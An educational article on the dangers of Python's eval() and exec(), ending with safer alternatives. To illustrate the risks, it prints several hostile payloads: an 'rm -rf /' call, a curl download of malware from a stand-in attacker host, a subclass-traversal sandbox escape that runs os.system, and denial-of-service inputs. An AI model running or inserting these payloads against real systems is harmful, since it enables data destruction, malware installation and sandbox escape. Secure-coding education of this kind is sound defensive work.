Python eval and exec Security Risks
Python's eval() and exec() functions
dynamically parse and execute strings as Python code, creating severe
security vulnerabilities when exposed to untrusted input. Running
user-supplied strings through these functions allows malicious actors to
exploit the Python runtime, potentially leading to Remote Code Execution
(RCE), full system compromise, sensitive data exfiltration, and denial
of service. This article breaks down the specific security risks
associated with eval() and exec(),
demonstrates how attackers bypass naive restrictions, and presents
secure alternatives.
Remote Code Execution (RCE)
The most critical danger of eval() and
exec() is arbitrary code execution. Because these functions
run arbitrary code with the same permissions as the hosting Python
process, an attacker who can inject input into these functions
effectively controls the application.
Using standard library modules, an attacker can interact directly with the underlying operating system:
# Malicious payload passed to eval() or exec()
__import__('os').system('rm -rf /')
__import__('subprocess').run(['curl', 'https://attacker.com/malware', '-o', 'malware.sh'])Through these commands, an attacker can modify files, download malicious scripts, spawn reverse shells, or seize complete control of the host machine or container.
Sandbox Escapes and Built-in Traversal
Developers often attempt to secure eval() by sanitizing
inputs or restricting the global namespace, such as executing code with
empty globals:
eval(user_input, {"__builtins__": {}})This approach provides a false sense of security. Python's object model allows an attacker to navigate the class hierarchy and recover restricted modules or built-in functions via reflection. For example:
# Traversing object subclasses to regain access to os.system or open
[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'BuiltinImporter'][0]().load_module('os').system('id')Because Python exposes its internal types and object relationships, creating an airtight sandbox using solely language-level restrictions is exceptionally difficult and routinely bypassed.
Data Exfiltration and Memory Exposure
When code executes inside eval() or exec(),
it shares the scope in which it is invoked unless explicitly isolated.
An attacker can inspect local and global variables to access sensitive
runtime data:
- Environment Variables: API keys, database
credentials, and secret signing keys often reside in
os.environ. - Application State: In-memory session tokens, customer data, and database connections can be intercepted and transmitted to external servers.
Even when stdout is suppressed, attackers can exfiltrate stolen data through out-of-band channels, such as automated HTTP requests or DNS lookups.
Denial of Service (DoS)
Malicious inputs do not need to access the shell to cause damage. An attacker can inject instructions that consume excessive CPU or memory resources, crashing the Python process or rendering the entire server unresponsive.
Common DoS vectors include:
- Infinite Loops: Inputs like
while True: passtie up the CPU thread indefinitely. - Memory Exhaustion: Expressions like
'A' * (10**9)attempt massive memory allocations, triggering out-of-memory (OOM) errors that terminate the process. - Process Termination: Commands like
exit()orquit()can shut down the application instance immediately.
Safe Alternatives
To eliminate the risks of eval() and
exec(), replace dynamic execution with purpose-built
parsers and serializers:
ast.literal_eval(): If you only need to parse Python literals (strings, numbers, tuples, lists, dicts, booleans, andNone), useast.literal_eval(). It rejects expressions containing operators, variable assignments, and function calls.- Structured Formats: Use standard serialization formats like JSON, YAML, or Protocol Buffers to transfer structured data safely.
- Domain-Specific Parsers: If dynamic mathematical
expressions must be evaluated, implement a parser using libraries such
as
pyparsingor abstract syntax tree (AST) visitors that explicitly whitelist allowed operators and reject function calls entirely.